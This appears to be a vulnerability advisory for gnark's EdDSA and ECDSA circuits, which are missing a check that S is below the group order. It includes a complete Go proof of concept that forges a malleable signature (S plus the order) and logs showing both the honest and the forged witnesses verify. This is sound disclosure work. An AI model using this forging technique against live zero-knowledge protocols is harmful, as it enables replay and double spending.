"details": "In version before, `sig.s` used without asserting `0 ≤ S < order` in `Verify function` in [eddsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/eddsa/eddsa.go) and [ecdsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/ecdsa/ecdsa.go), which will lead to *signature malleability* vulnerability. \n\n\n\n### Impact\n\nSince gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from `(R, S)`, this enables signature malleability and may lead to double spending.\n\n\n\n### Exploitation\n\n```go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"fmt\"\n\t\"math/big\"\n\n\t\"github.com/consensys/gnark-crypto/ecc\"\n\tmimcHash \"github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc\"\n\teddsaCrypto \"github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa\"\n\n\t\"github.com/consensys/gnark/backend/groth16\"\n\t\"github.com/consensys/gnark/frontend\"\n\t\"github.com/consensys/gnark/frontend/cs/r1cs\"\n\t\"github.com/consensys/gnark/std/algebra/native/twistededwards\"\n\tstdMimc \"github.com/consensys/gnark/std/hash/mimc\"\n\tstdEddsa \"github.com/consensys/gnark/std/signature/eddsa\"\n\n\tte \"github.com/consensys/gnark-crypto/ecc/twistededwards\"\n)\n\n// Circuit\ntype eddsaCircuit struct {\n\tMsg frontend.Variable `gnark:\",public\"`\n\tPk stdEddsa.PublicKey `gnark:\",public\"`\n\tSig stdEddsa.Signature\n}\n\nfunc (c *eddsaCircuit) Define(api frontend.API) error {\n\tcurve, _ := twistededwards.NewEdCurve(api, te.BN254)\n\thasher, _ := stdMimc.NewMiMC(api)\n\tstdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)\n\treturn nil\n}\n\nfunc groupOrder() *big.Int {\n\t// BN254 scalar field order (r)\n\tconst rStr = \"21888242871839275222246405745257275088548364400416034343698204186575808495617\"\n\tn, _ := new(big.Int).SetString(rStr, 10)\n\treturn n\n}\n\n// Forge signature: S → S + order\nfunc forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {\n\torder := groupOrder()\n\n\tvar forged eddsaCrypto.Signature\n\tforged.R = sig.R\n\n\ts := new(big.Int).SetBytes(sig.S[:])\n\ts.Add(s, order)\n\n\tbuf := make([]byte, 32)\n\tcopy(buf[32-len(s.Bytes()):], s.Bytes())\n\tcopy(forged.S[:], buf)\n\treturn forged\n}\n\nfunc main() {\n\t// Generate key pair\n\tpriv, _ := eddsaCrypto.GenerateKey(rand.Reader)\n\tpub := priv.PublicKey\n\tmsg := []byte(\"multi-witness\")\n\n\t// Create honest signature\n\th := mimcHash.NewMiMC()\n\th.Write(msg)\n\trawSig, _ := priv.Sign(msg, h)\n\n\tvar honest eddsaCrypto.Signature\n\thonest.SetBytes(rawSig)\n\tforged := forge(honest) // S + order\n\n\t// Setup: Compile circuit and do trusted setup\n\tcircuit := &eddsaCircuit{}\n\tccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)\n\tif err != nil {\n\t\tfmt.Printf(\"Circuit compilation failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\tpk, vk, err := groth16.Setup(ccs)\n\tif err != nil {\n\t\tfmt.Printf(\"Trusted setup failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\t// Public inputs (same for both witnesses)\n\tvar public eddsaCircuit\n\tpublic.Msg = new(big.Int).SetBytes(msg)\n\tpublic.Pk.Assign(te.BN254, pub.Bytes())\n\n\t// witness 1: honest signature\n\tw1 := public\n\tw1.Sig.Assign(te.BN254, honest.Bytes())\n\n\twitness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness1: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof1, err := groth16.Prove(ccs, pk, witness1)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t} else {\n\t\tpublicWitness1, err := witness1.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof1, vk, publicWitness1)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// witness 2: forged signature\n\tw2 := public\n\tw2.Sig.Assign(te.BN254, forged.Bytes())\n\tfmt.Println(honest.R.Equal(&forged.R))\n\tfmt.Println(honest.S != forged.S)\n\n\twitness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness2: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof2, err := groth16.Prove(ccs, pk, witness2)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t} else {\n\t\tpublicWitness2, err := witness2.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof2, vk, publicWitness2)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\n### Result\n\n```bash\ngo run multiple_witnesses.go\n\n13:47:33 INF compiling circuit\n13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3\n13:47:33 INF building constraint builder nbConstraints=7003\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583\nWitness 1 (honest): Prover succeeded!\ntrue\ntrue\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833\nWitness 2 (forged): Prover succeeded!\n```\n\n\n\n### Credits\n\nXlabAI Team of Tencent Xuanwu Lab\n\nAtuin Automated Vulnerability Discovery Engine \n\nSJTU Group of Software Security In Progress\n\nProf. Yu Yu's Lab at SJTU",
0 commit comments